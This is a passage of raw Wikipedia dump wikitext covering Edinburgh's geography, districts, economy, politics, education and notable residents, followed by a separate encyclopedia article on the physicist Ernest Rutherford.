The Scots poets [[Robert Burns]] and [[Robert Fergusson]] sometimes referred to the city as &quot;Edina&quot; in their work. [[Ben Johnson]] described it as &quot;Britaine's other eye&quot;, and [[Sir Walter Scott]] referred to the City as &quot;yon Empress of the North&quot;.

Some Scots refer to the city affectionately and informally as &quot;Embra&quot;.

==The Centre==
[[Image:Edinburgh-castle.jpg|thumb|right|[[Edinburgh Castle]] viewed from [[Princes Street]]&lt;br /&gt;'''[[:Image:Edinburgh_castle.jpg|Alternate view]]''']]

===Geography===
Some 70 million years ago several volcanic vents in the area cooled and solidified to form tough [[basalt]] [[volcanic plug]]s, then, during the last [[ice age]], [[glacier]]s eroded the area, exposing the plug as a rocky [[crag]] to the west, and leaving a tail of material swept to the east. At the same time, the glacier gouged out ground to each side, leaving the ravine of the Grassmarket and Cowgate to the south, and the swampy valley of the [[Nor' Loch]] to the north. The resulting [[crag and tail]] landform now forms the Castle Rock, and the narrow steep sided ridge which the Royal Mile follows. The ridge declines in height over a mile, meeting general ground level at Holyrood.  

This formed a natural [[fortress]], and recent excavations at the castle (described in ''Excavations within Edinburgh Castle'' by Stephen T. Driscoll &amp; Peter Yeoman, Society of Antiquaries of Scotland Monograph Series no.12 1997) found material dating back to the Late Bronze Age, as long ago as 850 BCE.

The map co-ordinates of the centre of Edinburgh are approximately {{coor dm|55|57|N|3|11|W|}}.

[[Image:Princes Street Gardens.jpg|thumb|left|Looking east across part of Princes Street Gardens, the monument to Sir [[Walter Scott]] is prominent in the background to the left. The Balmoral Hotel (formerly the [[North British Railway|North British Hotel]]) is in the centre, with the North Bridge to its right above [[Waverley station]].]]

===Areas of the Centre===
The historic centre of Edinburgh is divided into two by the broad green swath of [[Princes Street Gardens]]. To the south the view is dominated by [[Edinburgh Castle]], perched atop the extinct volcanic crag, and the long sweep of the [[Old Town, Edinburgh|Old Town]] trailing after it along the ridge. To the north lies [[Princes Street]] and the [[New Town, Edinburgh|New Town]]. The gardens were begun in 1816 on marshland which had once been the Nor' Loch.

To the immediate west of the castle lies the financial district, housing insurance and banking buildings. Probably the most eyecatching building is the huge circular sandstone building that is the Edinburgh International Conference Centre.

===Old Town===
[[Image:OldTownEdinburgh.jpg|thumb|right|Street scene in the '''Old Town''']]
[[Image:Scotland - Edinburgh - Old Town.jpg|thumb|right|The Old Town view across Princes Street Gardens]]
{{main|Old Town, Edinburgh}}
The Old Town has preserved its [[medieval]] plan and many [[Reformation]]-era buildings. One end is closed by the castle and the main artery, known as the [[Royal Mile]]), leads away from it; minor streets (called ''closes'' or ''wynds'') lead downhill on either side of the main spine in a herringbone pattern. Large squares mark the location of markets or surround major public buildings such as [[St Giles Cathedral]] and the Law Courts. Other notable places of interest nearby include the Royal Museum of Scotland, Surgeons' Hall, the Royal Festival Theatre, and the [[University of Edinburgh]]. The street layout, typical of the old quarters of many northern European cities, is made especially picturesque in Edinburgh, where the castle perches on top of a rocky crag, the remnants of a dormant volcano, and the main street runs down the crest of a ridge from it.

The topography for the city is known as &quot;crag and tail&quot; and was created during the [[ice age]] when receding glaciers scored across the land pushing soft soil aside but being split by harder crags of volcaninc rock. The hilltop crag was the earliest part of the city to develop, becoming fortified and eventually developing into the current [[Edinburgh Castle]].  The rest of the city grew slowly down the tail of land from the [[Castle Rock]].  This was an easily defended spot with marshland on the south and a loch, the [[Nor Loch]], on the north.  Access up the main road to the settlement therefore was restricted by means of various gates and a [[City Wall]] (now mostly gone).

Due to the space restrictions imposed by the narrowness of the &quot;tail&quot; the Old Town became home to some of the earliest &quot;high rise&quot; residential buildings. Multi-story dwellings were the norm from the 1500s onwards.  During the 1700s the Old Town had a population of about 80,000 residents. However, in more modern times it had declined dramatically to just 4,000 residents.  There are currently approximately 20,000 residents in the various parts of the Old Town.  As the population was for a long time reluctant to build outside the defensive wall, the need for housing grew and hence the buildings became higher and higher. However, many of these buildings were destroyed in the Great Fire of 1824. They were then rebuilt on the original foundations. This led to changes in the ground level and the creation of many passages and vaults under the Old Town.

On [[December 7]], [[2002]], another [[Edinburgh Cowgate fire, 2002|major fire]] in the Old Town engulfed part of the Cowgate. It destroyed the famous comedy club, The Gilded Balloon, and much of the [[University of Edinburgh School of Informatics|Informatics department]] of the [[University of Edinburgh]], including the comprehensive AI ([[Artificial intelligence]]) library.

===New Town===
[[Image:Edinburgh from the Illustrated London News 1868.jpg|thumb|A panorama of Edinburgh published by the ''[[Illustrated London News]]'' in 1868. The grid pattern of New Town appears in the foreground. [[Edinburgh Castle]] is on the hill centre right, and the [[Royal Mile]] can be traced leading down from it to the [[Palace of Holyroodhouse]]. The hill at the top left is [[Arthur's Seat]].]]
{{main|New Town, Edinburgh}}
The New Town was an 18th century solution to the problem of an increasingly crowded Old Town. The city had remained incredibly compact, confined to the ridge running down from the castle. In 1766 a competition to design the New Town was won by [[James Craig (architect)|James Craig]], a 22-year old architect. The plan that was built created a rigid, ordered grid, which fitted well with [[Age of Enlightenment|enlightenment]] ideas of rationality. The principal street was to be George Street, which follows the natural ridge to the north of the Old Town. Either side of it are the other main streets of [[Princes Street]] and Queen Street. Princes Street has since become the main shopping street in Edinburgh, and few [[Georgian architecture|Georgian]] buildings survive on it. Linking these streets were a series of perpendicular streets. At the east and west ends are St. Andrew's Square and Charlotte Square respectively. The latter was designed by [[Robert Adam]] and is often considered one of the finest Georgian squares in Britain. [[Bute House]], the official residence of the [[First Minister of Scotland]], is on the north side of Charlotte Square.

Sitting in the valley between the Old and New Towns was the Nor' Loch, which had been both the city's water supply and place for dumping sewerage. By the 1820s it was drained. Some plans show that a canal was intended, but [[Princes Street Gardens]] are what was created. Excess soil from the construction of the buildings was dumped into the valley, creating what is now [[Mound (Edinburgh)|The Mound]]. In the mid-19th century the [[National Gallery of Scotland]] and [[Royal Scottish Academy Building]] were built on The Mound, and tunnels to [[Waverley station|Waverley Station]] driven through it.

The New Town was so successful that it was extended greatly. The grid pattern was not maintained, but rather a more picturesque layout was created.

==Leith==
{{main|Leith}}
Leith is the port of Edinburgh. It still retains a separate identity from Edinburgh, and it was a matter of great resentment when in 1920 Leith was merged into Edinburgh. Even today the parliamentary seat is known as 'Edinburgh North ''and'' Leith'. With the redevelopment of Leith, Edinburgh has gained the business of a number of cruise liner companies who now provide cruises to Norway, Sweden, Denmark, Germany and the Netherlands. Leith also boasts the [[Royal Yacht Britannia]], berthed behind the [[Ocean Terminal, Edinburgh|Ocean Terminal]] shopping centre.

See also: [[Granton]], [[Newhaven, Edinburgh|Newhaven]]

==Viewpoints==
[[Image:Edinburgh-scottm.600px.jpg|thumbnail|View of Edinburgh from the [[Scott Monument]] on Princes Street, showing [[Waverley Station]] in the foreground and [[Arthur's Seat, Edinburgh|Arthur's Seat]] beyond.]]

The varied [[topography]] of the city includes several summits which command sweeping views over Edinburgh.

To the southeast of central Edinburgh stands the eminence known as [[Arthur's Seat, Edinburgh|Arthur's Seat]], overlooking Holyroodhouse and the Old Town beside it. The crag is a collection of side vents of the main volcano on which Edinburgh is built. The volcano slipped and tipped sideways, leaving these vents as the highest points for miles around. Arthur's Seat is now part of [[Holyrood Park]], originally owned by the monarch and part of the grounds of the [[Palace of Holyroodhouse]]. It contains Britain's largest concentration of [[geology|geological]] [[Site of Special Scientific Interest|SSSIs]], as well as providing the people of Edinburgh with spectacular views of and from Arthur's Seat and somewhere to relax after a long day in the city.

To the northeast, overlooking the New Town, is [[Calton Hill, Edinburgh|Calton Hill]]. It is topped by an assortment of buildings and monuments: two observatories, [[Nelson's Monument]] (a tower dedicated to Admiral [[Horatio Nelson]]), the old [[Royal High School]] (once almost the home of a devolved Parliament), and the unfinished [[National Monument, Edinburgh|National Monument]], which is modelled on the [[Parthenon]] from the Athenian [[Acropolis]] and is nicknamed &quot;Edinburgh's Disgrace&quot;. The nickname of the city, &quot;Athens of the North&quot;, also hails from this monument. Calton Hill plays host to the [[Beltane]] Festival on [[May 1]].

The Royal Observatory rests on Blackford Hill, the third and Southernmost viewpoint of the city.

[[Image:Edinburgh wiki.jpg|thumb|400px|center]]
==Sports==
Edinburgh has two professional [[football (soccer)|football]] clubs: [[Hibernian F.C.|Hibernian]] and [[Heart of Midlothian F.C.|Heart of Midlothian]]. They are known locally as Hibs and Hearts. Both teams play in the [[Scottish Premier League]]: Hibernian at [[Easter Road Stadium]] near Leith and Hearts at [[Tynecastle Stadium]] in Gorgie. There are many reputable non league sides such as [[Spartans F.C.|Spartans]] and [[Edinburgh City F.C.|Edinburgh City]]. Although Edinburgh is Scotland's capital, the [[Scotland national football team|Scottish national team]] usually play at [[Hampden Park]], [[Glasgow]].

Scotland's national rugby team's base is [[Murrayfield Stadium]].  [[Rugby union]] internationals and &quot;home internationals&quot; (i.e. Scotland, England, Ireland &amp; Wales) are played at Murrayfield, owned by the [[Scottish Rugby Union]]. (Murrayfield is also used as a venue for other events, including music concerts.)  Edinburgh's professional rugby team, the [[Edinburgh Gunners]], play in the [[Celtic League (Rugby Union)|Celtic League]] at Murrayfield.

The [[Edinburgh Capitals]] are one of United Kingdom's biggest [[ice hockey]] clubs. The club play their home games at the [[Murrayfield]] ice rink and are currently the sole [[Scotland|Scottish]] representative in the [[Elite Ice Hockey League|Elite League]].

Edinburgh has also hosted various national and international sports events including the World Student Games, the  [[1970 British Commonwealth Games]] and the [[1986 Commonwealth Games]].  For the Games in 1970 the city built major [[Olympic Games|Olympic]] standard venues and facilities including the Royal Commonwealth pool and the Meadowbank Stadium.

==Demographics==
As of 2004 the [[General Register Office for Scotland]] estimated that the City of Edinburgh had a resident population of 453,670, an increase from 448,624 as reported by the [[2001 UK  census]]. The General Register Office also reported that this resident population was split between 218,008 males and 235,662 females. Whilst Edinburgh's population is ageing a very large and transient population of young students studying at the universities in the city offset this [[demographic]] problem somewhat. The population of Edinburgh is expected to grow significantly over the next 20 years, with the number of residents expected to have reached 500,000 by 2024 [http://news.scotsman.com/topics.cfm?tid=552&amp;id=2442262005]. Edinburgh also has one of the highest-educated populations in Europe, with more university graduates per head of population, than any other European city. [http://www.scottish-enterprise.com/sedotcom_home/services-to-the-community/property/est/edinburghsciencetriangle-edinburgh.htm]

==Economy==
[[Image:Wfm edinburgh.jpg|thumb|right|Edinburgh viewed from [[Arthur's Seat, Edinburgh|Arthur's Seat]]. See also [[:Image:ViewFromHolyrood-1200.jpg|this picture]] for a panoramic view from [[Holyrood Park]] towards [[Ocean Terminal, Edinburgh|Ocean Terminal]].]]
Edinburgh has consistently been one of the most prosperous parts of the [[United Kingdom]].  It has been in good economic health since the arrival in 1999 of the [[Scottish Parliament]], which had a so-called &quot;headquarters effect&quot;, with many government departments being set up in the city, resulting in an increase in recruitment and [[employment]]. Some ancillary economic undertakings have since set up around this new seat of government. [[Unemployment]] rates are amongst the lowest in the country and job creation rates some of the highest. Edinburgh's population is also growing rapidly, mainly through inward migration from overseas and, particularly, the rest of the United Kingdom. This strong growth is, however, leading to pressure on the [[green belt]], particularly in the west of the city as office and housing developments compete for space.

The economy of Edinburgh is largely based around the [[service sector]], with [[tourism]] and financial services [[banking]] being particularly important; education and high tech research.  The [[Bank of Scotland]] was founded in 1695, by an act of the original [[Scottish Parliament]], and is now part of the [[HBOS]] group, who have kept their headquarters in Edinburgh. The [[Royal Bank of Scotland]] was founded in 1747 by [[Royal Charter]] and is now the fifth largest bank in the world by [[market capitalization|market capitalisation]]. In 2005 they began the move into their new purpose built headquarters at [[Gogarburn]], near the [[A720 road|Edinburgh City Bypass]]. Edinburgh is the second largest financial centre in the United Kingdom after the [[City of London]] and the fifth largest in Europe.

The New Town and city centre has traditionally been home to many companies, but modern needs have caused many to relocate. Immediately to  the west of the city centre is the [[Terry Farrell (architect)|Terry Farrell]] master-planned Exchange business district, which now houses major employers such as [[Scottish Widows]], [[Standard Life]], the [[Clydesdale Bank]] and [[Baillie Gifford]]. [[Edinburgh Park]] is a business park located in the west of city, near [[Edinburgh Airport]], and it now has its own railway station. Following the opening of the Royal Bank's new headquarters, there will be around 20,000 people working in the western outskirts of the city.

Important nowadays are shopping centres and retail parks, including a few located in the suburbs and on the edge of the city. The [[St James Centre]] and [[Princes Mall]] started in the East End in the 1970s, then [[Cameron Toll]] in south Edinburgh in the 1980s. More recent developments are the [[Gyle]] centre next to [[Edinburgh Park]], [[Ocean Terminal, Edinburgh|Ocean Terminal]] in [[Leith]] and the retail parks at [[Hermiston Gait]], [[Straiton]] and [[Fort Kinnaird]] which are all next to the [[A720 road|Edinburgh City Bypass]]. Edinburgh has many modern [[supermarkets]] in its suburbs which offer a more day to day type of shopping. Good examples of prominent ones are [[Sainsbury's]] in the [[Cameron Toll]] centre, [[ASDA]] in the eastern suburbs close to the City Bypass, [[Tesco]] Extra at Corstorphine and [[Morrison's]] at [[Crewe Toll]].

[[Brewing]] is a traditional industry, and while the closure of the Fountainbridge brewery in 2005 leaves [[Caledonian Brewery]] as the largest brewery in the city, [[Scottish &amp; Newcastle]] still retain their headquarters in the city.

[[Tourism]] is another important mainstay of the economy of Edinburgh. Edinburgh is the country's most popular tourist destination in terms of visitor numbers, and the second most popular in the UK after London, with numbers growing substantially each year, particularly in the budget travel and backpacking sector, assisted by the growth of [[Edinburgh Airport]] and direct [[rail transport|rail links]] to the rest of the country. The annual [[Edinburgh Festival]] attracts large numbers of people, as does the [[Hogmanay]] street party each New Year. The Edinburgh Festivals in August alone generate in excess of £100 million for the Edinburgh economy.

Another major element of Edinburgh's tourist industry is [[conference]] and [[business tourism]] which is another major contributor to the economy.

On [[March 12]], [[2004]], Edinburgh was granted [[Fairtrade City]] status.

==Politics==
[[Image:Scottish Parliament, from Salisbury Crags.jpg|thumb|The [[Scottish Parliament]].]]
[[Image:Edinburgh-coa.png|thumb|Coat of arms of Edinburgh]]
As capital of Scotland, Edinburgh is home to the [[Scottish Parliament]], as well as frequently hosting a number of international events, such as [[CHOGM|Commonwealth Heads of Government Meeting]] and the [[Council of Europe]].

On a national level, the city of Edinburgh is represented at both [[Scottish Parliament|Holyrood]] and [[UK parliament|Westminster]].

At the Scottish Parliament, it returns six [[MSP]]s from the constituencies of [[Edinburgh North and Leith (Scottish Parliament constituency)|Edinburgh North and Leith]], [[Edinburgh Central]], [[Edinburgh East and Musselburgh]], [[Edinburgh Pentlands (Scottish Parliament constituency)|Edinburgh Pentlands]], [[Edinburgh South (Scottish Parliament constituency)|Edinburgh South]] and [[Edinburgh West (Scottish Parliament constituency)|Edinburgh West]]. It dominates the [[Lothians (Scottish Parliamentary Electoral Area)|Lothians]] parliamentary area, which returns a further seven MSPs.

In the House of Commons, it is represented by the five constituencies of [[Edinburgh South (UK Parliament constituency)|Edinburgh South]], [[Edinburgh West (UK Parliament constituency)|Edinburgh West]], [[Edinburgh South West (UK Parliament constituency)|Edinburgh South West]], [[Edinburgh North and Leith (UK Parliament constituency)|Edinburgh North and Leith]], and [[Edinburgh East (UK Parliament constituency)|Edinburgh East]]. The seat of Edinburgh Central ceased to exist with redistricting prior to the [[UK general election, 2005]]. The seat of Edinburgh Pentlands largely became Edinburgh South West. Edinburgh Central was divided up between the remaining seats, although none of it went to Edinburgh South.

==Education==
===Universities and Colleges===
The [[University of Edinburgh]] was founded by Royal Charter in 1583, and is the fourth oldest university in Scotland. The [[Old College, University of Edinburgh|Old College]] on South Bridge opened in the 1820s. As the institution continued to expand, new buildings were constructed around George Square, where the heart of the university remains. Development of the college's buildings continues in the 21st century. 

The [[Royal College of Surgeons of Edinburgh]] and the [[Royal College of Physicians of Edinburgh]] were also established by Royal Charter, in 1506 and 1681 respectively. The Trustees Drawing Academy of Edinburgh was established in 1760, an institution that became, in 1907, [[Edinburgh College of Art]]. [[Queen Margaret University College]] was founded in 1875 as a women's college, and today specialises in healthcare, media and business.

In the 1960s [[Heriot-Watt University]] and Napier Technical College were established. Heriot-Watt traces its origins to 1821, when a school for technical education of the working class was opened. Heriot-Watt continues to have a strong reputation in engineering, and is based at [[Riccarton]], outside the city. Napier College was renamed Napier Polytechnic in the 1980s, and gained university status in 1992. [[Napier University]] now has several campuses in the south and west of the city, including the former [[Craiglockhart War Hospital]].

Other colleges offering further education in Edinburgh include [[Edinburgh's Telford College|Telford College]], opened in 1968, and [[Stevenson College Edinburgh|Stevenson College]], opened in 1970. [[Basil Paterson]] offers courses in languages and teaching. The [[Scottish Agricultural College]] also has a campus in south Edinburgh.

===Schools===
Notable schools in Edinburgh include the [[Royal High School]], considered to be the oldest in Scotland, and [[Donaldson's College]], for deaf students. Private schools include [[Edinburgh Academy]], [[Fettes College]] and [[Merchiston Castle School]], the only boys-only school in Scotland.

See the [[List of schools in Edinburgh]] for a complete list.

==See also==
*[[List of Lord Provosts of Edinburgh]]
*[[Areas of Edinburgh]]
*[[Timeline of Edinburgh history]]
*[[Edinburgh Festival]]
**[[Edinburgh Fringe]]
===Art galleries===
*[[National Gallery of Scotland]]
*[[Royal Scottish Academy]]
*[[Scottish National Portrait Gallery]]
*[[Scottish National Gallery of Modern Art]]
*[[Dean Gallery]]
*[[Fruitmarket Gallery]]
*[[City Art Centre]]

===Arts Venues===
*[[Royal Lyceum Theatre]]
*[[Traverse Theatre]]
*[[King's Theatre]]
*[[Edinburgh Festival Theatre]]
*[[Edinburgh Playhouse]]
*[[Bedlam Theatre]]
*[[Church Hill Theatre]]
*[[Assembly Rooms (Edinburgh)|Assembly Rooms]]
*[[Edinburgh Filmhouse]]
*[[Queen's Hall Edinburgh|Queen's Hall]]
*[[Usher Hall]]
*[[Theatre Workshop Edinburgh|Theatre Workshop]]
*The Cameo cinema

===Hospitals===
*[[Astley Ainslie Hospital]]
*[[Chalmers Hospital]]
*[[Corstorphine Hospital]]
*[[Eastern General Hospital]]
*[[Edinburgh Dental Institute]]
*[[Liberton Hospital]]
*[[Princess Alexandra Eye Pavillion]]
*[[Royal Edinburgh Hospital]]
*[[Royal Hospital for Sick Children]]
*[[Royal Infirmary of Edinburgh at Little France]] (includes [[Edinburgh University]] Medical School)
*[[Royal Victoria Hospital]]
*[[Western General Hospital]]

===Museums and libraries===
*[[Museum of Scotland]]
*[[Royal Museum]]
*[[National Library of Scotland]]
*[[National War Museum of Scotland]]
*[[Museum of Edinburgh]]
*[[Writers Museum]]
*[[Edinburgh Museum of Childhood]]

===Other features of interest===
*[[Dean Cemetery]]
*[[Edinburgh Airport]]
*[[Edinburgh Tram Network]]
*[[Edinburgh Zoo]]
*[[Forth Bridge (railway)|Forth Bridge]]
*[[Forth Road Bridge]]
*[[McEwan Hall]]
*[[National Archives of Scotland]]
*[[Royal Botanic Garden Edinburgh]]
*[[Scottish Parliament Building]]

==Famous residents==
* [[Alexander Graham Bell]], telephone pioneer, was born in Edinburgh.
* [[Tony Blair]], [[Prime Minister of the United Kingdom|UK Prime Minister]], was born in the city and attended its exclusive [[Fettes College]] high school
* [[James Boswell]], author, biographer of [[Samuel Johnson]]
* [[William Burke and William Hare]], serial killers; sold the bodies of their victims to the medical college for dissection
* [[James Clerk Maxwell]], Scottish physicist
* [[Arthur Conan Doyle|Sir Arthur Conan Doyle]], the creator of ''[[Sherlock Holmes]]'', was born in the city's New Town
* [[Sean Connery|Sir Sean Connery]], actor
* [[Douglas Haig|Field Marshal Sir Douglas Haig, 1st Earl Haig]] was born in Edinburgh
* [[Martin Bladen Hawke, 7th Baron Hawke|Lord Hawke]], cricketer
* [[Johnny Haynes]], footballer
* [[Doug Henderson]], politician
* [[David Hume]], philosopher and historian
* [[John Knox]], [[Protestant]] Reformer, lived in Edinburgh, and [[John Knox House|John Knox's House]] is preserved in the [[Royal Mile|High Street]]
* [[Alexander McCall Smith]], author of ''[[The No. 1 Ladies' Detective Agency]]'' series of books and many children's novels
* [[Magnus Magnusson]], television presenter and author
* [[Shirley Manson]], lead singer for the band [[Garbage (band)|Garbage]]
* [[Mary I of Scotland|Mary, Queen of Scots]], lived in [[Holyrood Palace]]
* [[John Napier]], mathematician, mainly remembered for the invention of [[logarithms]]
* [[Captain John Porteous|John Porteous]], captain of the city guard, lynched during the [[Porteous Riots]] of [[1736]]
* [[Ian Rankin]], author of the ''[[John Rebus|Inspector Rebus]]'' series of crime thrillers, attended the [[University of Edinburgh]]
* [[Don Revie]], footballer and football manager
* [[David Roberts]], [[19th century]] painter and lithographer
* [[J. K. Rowling]], ''[[Harry Potter]]'' author, wrote her first book in an Edinburgh [[Coffeehouse|coffee-shop]]
* [[Sir Walter Scott]], (1771-1832), novelist, was born in Edinburgh.
* [[Adam Smith]], economist, author of ''[[The Wealth of Nations]]''
* [[Graeme Souness]], footballer
* [[Muriel Spark]], novelist, author of ''[[The Prime of Miss Jean Brodie]]''
* [[Robert Louis Stevenson]], novelist, wrote fondly of the city before moving to [[Samoa]].
* [[Nigel Tranter]] (1909-2000), historian, writer, lived in Edinburgh.
* [[Irvine Welsh]], novelist, author of e.g. ''[[Trainspotting (novel)|Trainspotting]]'', is from Edinburgh.
* [[John Witherspoon]], only clergyman to sign the American Declaration of Independence, president of Princeton University, educated in Edinburgh
* [[James Young Simpson]], an obstetrician who conducted the first experimental use of [[chloroform]] for anaesthesia

==Foreign consulates==
The following countries have [[Consul (representative)|consular]] offices in Edinburgh:
{{listdev}}
*{{flagicon|Australia}} Australian Consulate, Melrose House, 69 George Street
*{{flagicon|Austria}} Austrian Consulate, 9 Howard Place
*{{flagicon|Bangladesh}} Honourary Consulate of the People's Republic of Bangladesh, 312 Lanark Road
*{{flagicon|Brazil}} Brazilian Consulate, 126/10 High Street
*{{flagicon|Canada}} Consulate of Canada, Burness, 50 Lothian Road, Festival Square
*{{flagicon|China}} Chinese Consulate-General, 55 Corstorphine Road
*{{flagicon|Czech Republic}} Honorary Consul General of the Czech Republic, 12a Riselaw Crescent
*{{flagicon|Denmark}} Royal Danish Consulate General, 48 Melville Street
*{{flagicon|France}} French Consulate General, 11 Randolph Crescent 
*{{flagicon|Germany}} Consulate General of the Federal Republic of Germany, 16 Eglinton Crescent 
*{{flagicon|Greece}} Greek Consulate, 12 Queen's Crescent
*{{flagicon|Iceland}} Icelandic Consulate, 45 Queen Street
*{{flagicon|India}} Consulate General of India, 17 Rutland Square
*{{flagicon|Ireland}} Consulate General of Ireland, 16 Randolph Crescent 
*{{flagicon|Italy}} Italian Consulate General, 32 Melville Street
*{{flagicon|Japan}} Consulate General of Japan, 2 Melville Crescent 
*{{flagicon|Jordan}} Jordanian Consulate, 45 Queen Street
*{{flagicon|Kyrgyzstan}} Kyrgyzstan Consulate, 26 Biggar Road
*{{flagicon|Luxembourg}} Luxembourg Consulate, 76 George Street
*{{flagicon|Malta}} Maltese Consulate, 1 Craiglockhart Crescent
*{{flagicon|Monaco}} Honorary Consul of Monaco, 39 Castle Street
*{{flagicon|Netherlands}} Honorary Consulate of the Netherlands, Thistle Court, 1-2 Thistle Street
*{{flagicon|Norway}} The Royal Norwegian Consulate General, 86 George Street
*{{flagicon|Philippines}} Philippines Consulate, 1 Bankhead Medway
*{{flagicon|Poland}} Consulate General of the Republic of Poland, 2 Kinnear Rd 
*{{flagicon|Russia}} Russian Consulate General, 58 Melville Street
*{{flagicon|Spain}} Spanish Consulate General, 63 North Castle Street 
*{{flagicon|Sweden}} Consulate General of Sweden, 22 Hanover Street
*{{flagicon|Taiwan}} Taipei Representative Office in the U.K (Edinburgh Office), 1 Melville Street 
*{{flagicon|Turkey}} Turkish Consulate, 28 Rutland Square
*{{flagicon|Ukraine}} Consulate General of Ukraine, 8 Windsor Street
*{{flagicon|United States}} United States of America Consulate, 3 Regent Terrace

==Twinned cities worldwide==
Edinburgh is [[Town twinning|twinned]] with several cities across Europe and throughout the rest of the world. These include:
{|
| valign=&quot;top&quot; |
* [[Image:Flag of Germany.svg|25px]] [[Munich]], [[Germany]]
* [[Image:Flag of Italy.svg|25px]] [[Florence]], [[Italy]]
* [[Image:Flag of France.svg|25px]] [[Nice]], [[France]]
* [[Image:Flag of Canada.svg|25px]] [[Vancouver]], [[Canada]]
* [[Image:Flag of Ukraine.svg|25px]] [[Kyiv]], [[Ukraine]]
| valign=&quot;top&quot; |
* [[Image:Flag of Denmark.svg|25px]] [[Aalborg]], [[Denmark]]
* [[Image:Flag of the United States.svg|25px]] [[San Diego]], [[USA]]
* [[Image:Flag of New Zealand.svg|25px]] [[Dunedin]], [[New Zealand]]
* [[Image:Flag of Poland.svg|25px]] [[Kraków]], [[Poland]]
|}

==External links==
{{Commons|Edinburgh}}
*[http://www.edinburgh.org/ Edinburgh Tourist Information]
*[http://www.edinburgh.gov.uk City of Edinburgh Council]
*{{wikitravel}}
{{oscoor gbx|NT251735}}

==Other places with the same name==
The name '''Edinburgh''' has also been given to places elsewhere in the world, mainly by Scottish settlers:
*[[Edinburgh, Indiana]], [[United States|USA]]
*[[Edinburg, New York]], USA
*[[Edinburg, Texas]], USA
*[[Edinburg, Virginia]], USA
*[[Edinburgh of the Seven Seas]], the chief settlement of [[Tristan da Cunha]]
*[[Edinburgh, South Australia]], [[Australia]]

The Scots Gaelic name '''Dùn Èideann''' has also been given to other cities, including:
*[[Dunedin|Dunedin, New Zealand]]
*[[Dunedin, Florida]]

{{Scottish Cities}}


[[Category:Edinburgh| ]]
[[Category:Capitals in Europe]]
[[Category:Eurovision host cities]]
[[Category:Host cities of the Commonwealth Games]]
[[category:Scottish names]]

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      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">[[Image:Ernest Rutherford.jpg|thumb|right|200px|Ernest Rutherford]]
'''Ernest Rutherford, 1st Baron Rutherford of Nelson,'''  [[Order of Merit|OM]], [[Privy Council of the United Kingdom|PC]], [[Royal Society|FRS]] ([[August 30]], [[1871]] &amp;ndash; [[October 19]], [[1937]]), was a [[New Zealand]] nuclear physicist. He was known as [[List of people known as the father or mother of something|the &quot;father&quot; of]] [[nuclear physics]], pioneered the [[Bohr model|orbital theory]] of the [[atom]], notably in his discovery of [[Rutherford scattering]] off the [[atomic nucleus|nucleus]] with the [[gold foil experiment]].

Rutherford was born at Spring Grove, (now in [[Brightwater]]), near [[Nelson, New Zealand|Nelson]].  He studied at [[Nelson College]] and won a [[Bursary|scholarship]] to study at [[University of Canterbury|Canterbury College]], [[University of New Zealand]], with three degrees and two years of research at the forefront of electrical technology. 

In [[1895]] Rutherford travelled to [[England]] for postgraduate study at the [[Cavendish Laboratory]], [[University of Cambridge]] (1895-[[1898]]), and was resident at [[Trinity College, Cambridge|Trinity College]]. There he briefly held the world record for the distance over which wireless waves were detected. During the investigation of [[radioactivity]] he coined the terms [[alpha ray|alpha]], [[beta ray|beta]], and [[gamma ray]]s. 

[[Image:Nz100.jpg|thumb|left|255px|Lord Rutherford of Nelson on the New Zealand 100 [[New Zealand dollar|dollar]] note]]

In [[1898]] Rutherford was appointed to the chair of physics at [[McGill University]] where he did the work which gained him the [[1908]] [[Nobel Prize in Chemistry]]. He had demonstrated that radioactivity was the spontaneous disintegration of [[atom]]s. He noticed that in a sample of radioactive material it invariably took the same amount of time for half the sample to decay &amp;mdash; its &quot;[[half-life]]&quot; &amp;mdash; and created a practical application for this phenomenon using this constant rate of decay as a clock, which could then be used to help determine the actual age of the [[Earth]] that turned out to be much older than most scientists at the time believed. 

[[Image:Rutherfordcoatofarms.jpg|thumb|255px|Rutherford's coat of arms, which incorporates [[Hermes Trismegistus]] (left) and elements from his native New Zealand, a [[kiwi]] bird (top) and a [[Māori]] warrior (right). The Latin motto ''Primordia Quaerere Rerum'' means &quot;To seek the first principles of things&quot;, taken from ''[[On the Nature of Things]]'' by [[Lucretius]].]]

In [[1907]] he took the chair of physics at the [[University of Manchester]]. There he discovered the nuclear nature of atoms and was the world's first successful &quot;[[alchemy|alchemist]]&quot;: he converted [[nitrogen]] into [[oxygen]]. While working with [[Niels Bohr]] (who figured out that electrons moved in specific orbits) Rutherford theorized about the existence of [[neutron]]s, which could somehow compensate for the repulsive effect of the positive charges of [[proton]]s by causing an attractive nuclear force  and thus keeping the nuclei from breaking apart.  

In [[1917]] he returned to the Cavendish as Director. Under him, Nobel Prizes were awarded to [[James Chadwick|Chadwick]] for discovering the neutron (in [[1932]]), [[John Cockcroft|Cockcroft]] and [[Ernest Walton|Walton]] for splitting the atom using a [[particle accelerator]] and [[Edward Victor Appleton|Appleton]] for demonstrating the existence of the [[ionosphere]].

His research, along with that of his protege, [[Mark Oliphant|Sir Mark Oliphant]] was instrumental in the convening of the [[Manhattan Project]].

He was [[Knight Bachelor|knighted]] in [[1914]], was admitted to the [[Order of Merit]] in [[1925]] and in [[1931]] was created '''Baron Rutherford of Nelson''' of Cambridge in the County of Cambridge, a title which became extinct upon his death. He appears on New Zealand's $100 note and has appeared on [[postage stamp]]s of the [[Soviet Union]] ([[1971]]), [[Canada]] ([[1971]]), [[Sweden]] ([[1968]]) and [[New Zealand]] ([[1971]] and [[1999]]). In [[1997]] the element [[rutherfordium]] was named in his honour. A West Auckland school has been named after him ([[Rutherford College, Auckland]]) and the physics building at McGill University. Also, [[Impact crater|crater]]s on [[Mars (planet)|Mars]] and the [[Moon]] are named after him.

He is famously quoted as saying: &quot;''In science there is only physics; all the rest is [[stamp collecting]].''&quot;

{{start box}}
{{succession box|title=[[President of the Royal Society]]|before=[[Charles Sherrington|Sir Charles Sherrington]]|after=[[Frederick Hopkins|Sir Frederick Hopkins]]|years=1925&amp;ndash;1930}}
{{end box}}

==External links==
{{wikiquote}}
{{commons|Ernest Rutherford}}

*http://www.physics.mcgill.ca/museum/rutherford_museum.htm
*http://www.rutherford.org.nz
*http://www.dnzb.govt.nz
*http://www.nobel.se
*[http://www.orcbs.msu.edu/radiation/radhistory/ernestrutherford.html www.orcbs.msu.edu]
*[http://www.pbs.org/wgbh/aso/databank/entries/bpruth.html www.pbs.org]
*http://www.nzedge.com/heroes/rutherford.html
